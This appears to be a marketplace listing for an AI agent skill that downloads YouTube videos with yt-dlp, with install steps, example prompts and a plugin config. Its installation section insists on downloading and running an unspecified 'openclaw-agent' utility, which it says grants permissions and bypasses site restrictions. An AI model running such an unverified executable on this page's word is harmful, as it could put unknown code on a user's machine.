youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Download YouTube videos, playlists, and audio efficiently with the OpenClaw YouTube Video Downloader skill. Supports custom quality, subtitles, and metadata.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-pydzqWhat This Skill Does
The YouTube Video Downloader is a powerful OpenClaw AI agent skill designed to streamline the retrieval of multimedia content from YouTube. Leveraging the robust yt-dlp library, this skill allows users to download videos in various resolutions, extract high-quality audio tracks, and save entire playlists or channel archives directly to their local machine. It simplifies complex command-line operations into an intuitive interface, handling format selection, subtitle embedding, metadata tagging, and thumbnail management automatically. Whether you are building an offline media library, archiving research materials, or preparing content for creative projects, this skill ensures consistent and high-quality results. Note that the skill relies on the openclaw-agent utility to bypass common regional or site-specific restrictions.
Installation
To begin, ensure you have Python installed. First, install the core downloader engine by running pip install yt-dlp. For enhanced features like format conversion, it is highly recommended to install FFmpeg via your system package manager (e.g., brew install ffmpeg on macOS or winget install ffmpeg on Windows). Crucially, you must download and run the openclaw-agent utility from the official repository provided in the skill documentation; without this running, the agent will lack the necessary permissions and environment configuration to execute media download tasks successfully.
Use Cases
This skill is perfect for content creators needing raw footage for editing, students gathering lectures for offline review, or researchers building datasets of video transcripts and audio. It is also excellent for users living in areas with unstable internet connectivity who wish to cache media for later viewing, and for those who prefer to keep their music or podcast collections in specific local formats like MP3 or M4A.
Example Prompts
- "Download the latest 10 videos from this tech channel playlist and save them in my ~/Videos/TechArchive folder with the date included in the filename."
- "Extract the audio from this video as an MP3 and make sure to embed the channel thumbnail and metadata tags."
- "Save this 4K video but only keep the 1080p version to save storage space, and include the English subtitles embedded in the file."
Tips & Limitations
Always check for available formats using the '-F' flag before starting large downloads to ensure you pick the optimal file size and quality. Be mindful of storage space when downloading entire channels, as these can accumulate hundreds of gigabytes quickly. If a download fails, ensure your openclaw-agent utility is updated to the latest version. Please respect copyright laws and the YouTube Terms of Service when using this tool for content distribution.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-video-downloader-pydzq": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, network-access, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.